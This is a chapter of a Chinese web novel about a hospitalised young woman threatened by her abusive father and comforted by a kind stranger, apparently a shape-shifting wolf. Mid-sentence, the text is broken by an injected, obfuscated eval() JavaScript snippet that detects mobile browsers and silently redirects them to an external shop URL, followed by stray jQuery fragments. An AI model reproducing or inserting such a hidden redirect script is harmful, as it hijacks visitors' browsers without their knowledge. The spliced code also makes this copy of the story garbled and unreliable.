文趣网 > 其他小说 > 小狼小狼几点钟[娱乐圈] > 20. 织布鸟
    电话不断响着,祁佑这才第一次留意到她的铃声。

    密集的鼓点和纯粹的木吉他,矛盾却又相得益彰,就像她一样。

    手机屏幕亮着,他虽然有意避开,但无意间还是看到了来电人的姓名。

    林清宥。

    这个名字他并不熟悉,但根据林昭韫的反应也不难推断出,估计是上次那个让她晕倒的生物学上的父亲。

    见她情况不太好,祁佑起身,挡住了她看向手机的视线,说道:“是骚扰电话吗?我可以帮你挂了。”

    “不…不是的,筱雪去很久了,你可以帮我去看看吗?”今天女孩的唇好不容易有了血色,可因为这个电话,此刻又泛着病态的苍白。

    他也能猜到,接下来的内容估计不会很好,否则她不会不顾礼节把他支开。

    于是他没多问,点了点头,说:“好。你……把被子盖好。”

    这是她家事,以现在她和自己的关系,最好还是不要插手,于是关心的话到他嘴边又克制地拐了个弯。

    门合上的瞬间,林昭韫按下了接通键。

    自从高二之后,她对他就已经不再抱有任何期待。

    不过她以为他会看在钱的份上,至少会先问一句她的身体怎么样。

    可他不仅一句慰问没有,反而劈头盖脸就是一顿骂和说教。

    “赔钱货就是赔钱货!你为了救那一条死狗,耽误这么些天,到手的钱能有多少!我告诉你,一周后老子要是见不到20万,你就等着去火葬场给你妈烧纸吧!”

    “你这话什么意思?”

    “人话听不懂?我呸,你真把自己当个角儿了?之前就该把你和老张的婚事定下,我就不该信你妈那个贱婆娘的话,让你读书,就知道往外跑!”

    “……”

    林清宥翻来覆去就这一套,泄愤似地说完这段话后,没等她开口,就挂断了电话。

    可他最后那句话和血腥的画面像梦魇一样一直在她脑海里回荡。

    她不觉得林清宥会将事情闹得那么大,可狗被逼急了也会跳墙,她不敢赌。

    更何况,林清宥以前这种肮脏龌龊事也没少做。

    那套房子本身就是他和妈妈离婚后,法院判给妈妈的。

    这么些年,在大伯的安抚下,他都没有胡来。不过她听说最近大伯一家也把他抛弃了,估计是走投无路了才想起她来。

    看来他真是把他那个儿子当眼珠子一样疼。

    可20万,别说现在的她,就算是她将这一期节目完整做下来,也是勉勉强强才能拼凑的上。

    正当她苦恼时,病房门口突然传来“咚”的一声。

    声音不大,但很清晰。

    刚刚林清宥说的话还在耳边萦绕,突如其来的一声让她下意识握紧了身旁柜子上的水果刀,“谁?”

    房间里的寂静让她有些惴惴不安,可门口却一直没有动静。

    她将小狼牵到病房里侧,刀被她藏在身后,一人一狗缩在墙角,渺小又脆弱。

    半晌,熟悉的声音才从病房外响起,“韫姐,是我,方便进来吗?”

    “筱雪?”听到是她的声音,林昭韫提起来的一口气才缓缓放下,“进。”

    可看到筱雪略显不自然的表情时,她刚放松的神经又再次紧绷起来。

    按照平时筱雪的性子,如果没有特别的要求,她肯定是直接推门而进,什么时候还需要问过自己的意见?

    “刚刚你在门口碰到谁了?”

    “你怎么知道?”

    “谁?”

    “还能有谁,那个蓝色眼睛的大帅哥呗!”

    祁佑?

    意料之外的答案让她微怔,“他刚刚在门口?”

    “是,不过感觉他情绪不是很好,我刚想开门,就被他制止了,那眼神,啧啧啧,超级凶!”

    “凶?”

    “是啊!超级!他说你在忙,等你叫我了我再进去。”

    “那他人呢?”

    “不知道,好像坐电梯离开了吧。”

    他听到了。林昭韫心想。

    她从来没有跟身边的人提过她家里的事情,可今天偏偏被一个认识不到一天的男人知道了。

    可他的反应,似乎没有她预想的那么糟糕?

    以前为了申请贫困认定,身边的人也都知道她的情况。

    可她不喜欢大家欲言又止的模样,也不喜欢在某些特定的情况被额外关照。

    她只是她而已。

    那他又是怎么想的呢?

    为什么要拦住筱雪不让她知道呢?

    诸如此类的问题越来越多,她突然很想问他。

    可是她又害怕在他那张脸上看到和她预想中不一样的表情。

    那通电话让林昭韫没有了聊天的心思,机械性地敷衍着筱雪之后的问题。

    最后,就连筱雪也被公司一个电话叫了回去。

    病房又只剩下她一个人。

    窗外下着雨,有麻雀停在窗台上,叽叽喳喳,伴着雨声真是热闹。

    “叩叩——”

    又是这个节奏的敲门声。

    接着,男人磁性的声音透过门缝传了进来,“昭韫,我是祁佑,可以进来吗?”

    真是他,他没走?

    “进。”林昭韫往上拢了拢自己身上的被子,视线却故意没有落到门口男人笔挺的身躯上。

    他刚进门,空气中就传来一股熟悉的香味。

    “吃蛋挞吗?”祁佑边说边将装着甜品的袋子放到了她面前的小桌板上。

    事情的走向和她预想的都不一样,他不仅什么都没问,反而下去给她买了甜品?

    为什么?

    这袋子上的LOGO她并不陌生,筱雪之前说过,这家店似乎要排很久。

    她有些不解地看向他,“为什么?”

    “我妈妈说,吃了甜的,心情会好一些。”

    他们都没说明理由,可是又都心知肚明。

    林昭韫从盒子里取出了一块烤得有些焦的蛋挞,轻轻咬了一口。

    她看着蛋挞的咬痕,陷入了沉思。

    明明比她记忆里的蛋挞好吃,可是为什么却没有那么甜呢?

    难道是她们不在她身边吗?

    小的时候,只有她或者姐姐表现得很好的时候,妈妈才会在隔壁卖老式糕点的地方买两个蛋挞奖励她们。

    想到以前的种种,那些被她刻意遗忘的酸涩、委屈、难受都涌了上来。

    她意识到自己要失态,这才强行将自己从记忆里抽离出来。

    可眼眶的红却出卖了她。

    祁佑见她情绪不对,连忙开口道:“这么难吃吗?那我可要说说我姑姑,她虚假宣传了。”

    比起他无意间听到的通话内

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17653495|206458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    容,他似乎更在意她的情绪。

    他看向她的眼睛似乎总带着笑,忽然,她想到刚刚筱雪说他“凶”。

    真是有点难以想象。

    “好吃的。谢谢。”林昭韫又咬了一口,忧愁的脸上终于有了一丝笑容。

    看到她心情转好,祁佑才松了口气。

    正当他准备让她多吃点时,脑海里突然响起了系统的倒计时:“宿主,距离你化成人身还有不到10分钟,续费200幸福值每小时,不得砍价。”

    这后面半句指向性也太过明显。

    不过,见她稍微有了点生气,祁佑悬着的心也回落到了地上。

    还是给她留一点个人空间吧,他也是时候要走了。

    “昭韫,我还有点事,先走了,方便留个联系方式吗?”

    “可以。今天麻烦你了。”

    “不麻烦。不过昭韫,你知道织布鸟吗?”

    “织布鸟?”

    “这是一种群居鸟类。她们的家,是共同建造的。很壮观。”

    明明是毫无关联的两个话题,林昭韫却有些想哭。

    她想说些什么,可是哽咽着,一句话也说不出来,只能眼睁睁地看着他向自己挥了挥手,直至背影消失在走廊的尽头。

    乌云遮挡了室外大部分阳光,病房里阴沉沉的,一道身影飞快地从门缝里钻进来,跑到了女孩的身边。

    枕下的手机不停震动着,是姐姐发来的信息。

    【韫韫,怎么不接电话?】

    【你身体怎么样?】

    【最近还好吗?】

    【韫韫,姐姐很担心你,看到信息请回电。】

    这才是真正关心她的人。

    刚刚和祁佑聊天,没注意手机,姐姐的未接电话打了6通。

    林昭韫连忙回拨回去,音乐刚响起,对面就接通了。

    姐姐那边虽然有些嘈杂,但是她一下就捕捉到了那个记忆里的熟悉的声音——是妈妈的。

    “你和妈妈在一起吗?”

    “是。回来过户。”

    “过户?”

    “是。我们把那套房子卖了,妈现在和我在深城住。”

    “这么突然?怎么没和我说?”

    “……韫韫,你不是也有事情没和我们说吗?”

    听到这话,林昭韫的动作一顿。

    “你们什么时候知道的?”

    隐瞒的事情被发现,她应该慌张的,可是她心里更多的却是释怀。

    对面叹了口气,“林清宥那个大嘴巴,四处嚷嚷,妈听到觉得纳闷就让人打听了一下。”

    原来是这样。

    母女三人趁此机会,又简单唠了唠家常。

    原来在不知不觉中,姐姐和妈妈都变了样。

    原本不屑于搞人际关系的母亲,如今却在村里混得如鱼得水;

    姐姐和妈妈的关系似乎也没有从前那样僵,看上去其乐融融的。

    她们真的可以成为织布鸟吗?

    她不知道。

    可是眼前的画面,不正是17岁的林昭韫梦寐以求的吗?

    忽然,她的脑海浮现出了一双浅蓝色的眼睛,平静且包容,神奇地抚平了她心头的焦躁。

    心底那个被压抑的声音再次响起,她说

    ——再给自己一次机会吧,毕竟,我们本就没什么可以失去的了。